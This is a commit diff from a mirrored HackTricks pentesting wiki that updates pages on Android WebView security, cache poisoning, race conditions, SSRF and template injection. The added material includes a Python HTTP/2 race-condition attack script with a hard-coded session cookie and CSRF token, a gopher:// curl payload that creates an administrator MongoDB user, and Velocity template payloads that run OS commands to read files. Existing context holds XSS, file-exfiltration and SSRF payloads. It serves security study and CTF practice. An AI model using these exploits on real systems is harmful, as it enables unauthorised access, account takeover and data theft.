mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
GITBOOK-4272: change request with no subject merged in GitBook
This commit is contained in:
CPol
gitbook-bot
parent
c283d05dce
commit
a1302164ce
5 changed files with 216 additions and 54 deletions
|
|
@ -9,67 +9,76 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Simplified Guide on WebView Configurations and Security
|
||||
## Guide on WebView Configurations and Security
|
||||
|
||||
### Overview of WebView Vulnerabilities
|
||||
|
||||
A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
|
||||
|
||||
.png)
|
||||
.png>)
|
||||
|
||||
### **File Access in WebViews**
|
||||
|
||||
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
|
||||
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ\_EXTERNAL\_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
|
||||
|
||||
#### **Deprecated Features: Universal and File Access From URLs**
|
||||
|
||||
- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
|
||||
- To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
|
||||
- To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
|
||||
- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
|
||||
- Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
|
||||
* **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
|
||||
* To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
|
||||
* To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
* **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
|
||||
* Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
|
||||
|
||||
#### **Secure File Loading**
|
||||
|
||||
For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
|
||||
- Check with `getAllowFileAccess()`.
|
||||
- Enable or disable with `setAllowFileAccess(boolean)`.
|
||||
|
||||
* Check with `getAllowFileAccess()`.
|
||||
* Enable or disable with `setAllowFileAccess(boolean)`.
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
|
||||
|
||||
### loadUrl
|
||||
|
||||
This is a common function used to load arbitrary URLs in a webviwe:
|
||||
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
|
||||
Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.
|
||||
|
||||
### **JavaScript and Intent Scheme Handling**
|
||||
|
||||
- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
|
||||
* **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
|
||||
* **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support\_url" that could be exploited to execute cross-site scripting (XSS) attacks.
|
||||
|
||||
- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.
|
||||
|
||||
.png)
|
||||
.png>)
|
||||
|
||||
Exploitation example using adb:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Javascript Bridge
|
||||
|
||||
A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
|
||||
|
||||
### Important Considerations
|
||||
|
||||
- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
|
||||
* **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
|
||||
|
||||
#### Implementing a JavaScript Bridge
|
||||
|
||||
- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
|
||||
* **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
|
||||
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
|
|
@ -78,32 +87,32 @@ public String getSecret() {
|
|||
};
|
||||
```
|
||||
|
||||
- JavaScript Bridge is enabled by adding an interface to the WebView:
|
||||
* JavaScript Bridge is enabled by adding an interface to the WebView:
|
||||
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
|
||||
- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
|
||||
* Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
|
||||
|
||||
```html
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
|
||||
- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
|
||||
* To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
|
||||
|
||||
### Reflection-based Remote Code Execution (RCE)
|
||||
|
||||
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
|
||||
* A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
|
||||
* **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
|
||||
|
||||
#### Enabling Remote Debugging
|
||||
|
||||
- Remote debugging can be enabled for all WebViews within an application by:
|
||||
* Remote debugging can be enabled for all WebViews within an application by:
|
||||
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
|
|
@ -111,7 +120,7 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
|||
}
|
||||
```
|
||||
|
||||
- To conditionally enable debugging based on the application's debuggable state:
|
||||
* To conditionally enable debugging based on the application's debuggable state:
|
||||
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
|
|
@ -122,7 +131,7 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
|||
|
||||
## Exfiltrate arbitrary files
|
||||
|
||||
- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
|
||||
* Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
|
@ -135,11 +144,13 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
|
|||
xhr.send(null);
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -150,7 +161,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -203,6 +203,10 @@ Note that the **cache proxy** should be **configured** to **cache** files **base
|
|||
|
||||
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
* [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
|
||||
|
||||
## References
|
||||
|
||||
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
|
|
|
|||
|
|
@ -117,6 +117,137 @@ Content-Length: 0
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
|
||||
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
|
||||
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
from h2spacex import H2OnTlsConnection
|
||||
from time import sleep
|
||||
from h2spacex import h2_frames
|
||||
import requests
|
||||
|
||||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||||
|
||||
# change these headers
|
||||
|
||||
headersObjetivo= """accept: */*
|
||||
content-type: application/x-www-form-urlencoded
|
||||
Cookie: """+cookie+"""
|
||||
Content-Length: 112
|
||||
"""
|
||||
|
||||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||||
|
||||
headersVerification= """Content-Length: 1
|
||||
Cookie: """+cookie+"""
|
||||
"""
|
||||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||||
|
||||
host = "94.237.56.46"
|
||||
puerto =39697
|
||||
|
||||
|
||||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
|
||||
|
||||
while "objetivo" not in response.text:
|
||||
|
||||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||||
|
||||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||||
#print(response.text)
|
||||
# change this host name to new generated one
|
||||
|
||||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||||
|
||||
print(responseReset.status_code)
|
||||
|
||||
h2_conn = H2OnTlsConnection(
|
||||
hostname=host,
|
||||
port_number=puerto
|
||||
)
|
||||
|
||||
h2_conn.setup_connection()
|
||||
|
||||
try_num = 100
|
||||
|
||||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||||
|
||||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||||
all_data_frames = [] # all data frames which contain the last byte
|
||||
|
||||
|
||||
for i in range(0, try_num):
|
||||
last_data_frame_with_last_byte=''
|
||||
if i == try_num/2:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||||
method='POST',
|
||||
headers_string=headersObjetivo,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=bodyObjetivo,
|
||||
path='/challenge/api/profile'
|
||||
)
|
||||
else:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||||
method='GET',
|
||||
headers_string=headersVerification,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=".",
|
||||
path='/challenge/api/sendVerification'
|
||||
)
|
||||
|
||||
all_headers_frames.append(header_frames_without_last_byte)
|
||||
all_data_frames.append(last_data_frame_with_last_byte)
|
||||
|
||||
|
||||
# concatenate all headers bytes
|
||||
temp_headers_bytes = b''
|
||||
for h in all_headers_frames:
|
||||
temp_headers_bytes += bytes(h)
|
||||
|
||||
# concatenate all data frames which have last byte
|
||||
temp_data_bytes = b''
|
||||
for d in all_data_frames:
|
||||
temp_data_bytes += bytes(d)
|
||||
|
||||
h2_conn.send_bytes(temp_headers_bytes)
|
||||
|
||||
|
||||
|
||||
|
||||
# wait some time
|
||||
sleep(0.1)
|
||||
|
||||
# send ping frame to warm up connection
|
||||
h2_conn.send_ping_frame()
|
||||
|
||||
# send remaining data frames
|
||||
h2_conn.send_bytes(temp_data_bytes)
|
||||
|
||||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||||
frame_parser.add_frames(resp)
|
||||
frame_parser.show_response_of_sent_requests()
|
||||
|
||||
print('---')
|
||||
|
||||
sleep(3)
|
||||
h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
|
||||
### Raw BF
|
||||
|
||||
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
|
||||
|
|
|
|||
|
|
@ -17,12 +17,11 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
|
||||
|
|
@ -56,23 +55,18 @@ Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.
|
|||
|
||||
## Protocols
|
||||
|
||||
- **file://**
|
||||
- The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd`
|
||||
|
||||
- **dict://**
|
||||
- The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
|
||||
- **SFTP://**
|
||||
- Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/`
|
||||
|
||||
- **TFTP://**
|
||||
- Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
|
||||
- **LDAP://**
|
||||
- This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
|
||||
- **SMTP**
|
||||
- A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
|
||||
* **file://**
|
||||
* The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd`
|
||||
* **dict://**
|
||||
* The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* **SFTP://**
|
||||
* Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
* Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* **LDAP://**
|
||||
* This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* **SMTP**
|
||||
* A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
|
||||
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
|
|
@ -82,15 +76,15 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
4. connect
|
||||
```
|
||||
|
||||
- **Curl URL globbing - WAF bypass**
|
||||
- If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:
|
||||
* **Curl URL globbing - WAF bypass**
|
||||
* If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:
|
||||
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
|
||||
- **Gopher://**
|
||||
- The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
|
||||
* **Gopher://**
|
||||
* The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
|
||||
|
||||
### Gopher://
|
||||
|
||||
|
|
@ -133,6 +127,16 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator
|
||||
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
|
||||
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
|
||||
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
|
||||
%00%00administrator%00%00%00%00'
|
||||
```
|
||||
|
||||
## SSRF via Referrer header & Others
|
||||
|
||||
|
|
@ -328,7 +332,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -160,6 +160,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
### Velocity (Java)
|
||||
|
||||
```java
|
||||
// I think this doesn't work
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||||
|
|
@ -168,6 +169,17 @@ $ex.waitFor()
|
|||
#foreach($i in [1..$out.available()])
|
||||
$str.valueOf($chr.toChars($out.read()))
|
||||
#end
|
||||
|
||||
// This should work?
|
||||
#set($s="")
|
||||
#set($stringClass=$s.getClass())
|
||||
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
|
||||
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
|
||||
#set($out=$process.getInputStream())
|
||||
#set($null=$process.waitFor() )
|
||||
#foreach($i+in+[1..$out.available()])
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
|
||||
**More information**
|
||||
|
|
|
|||
Loading…
Reference in a new issue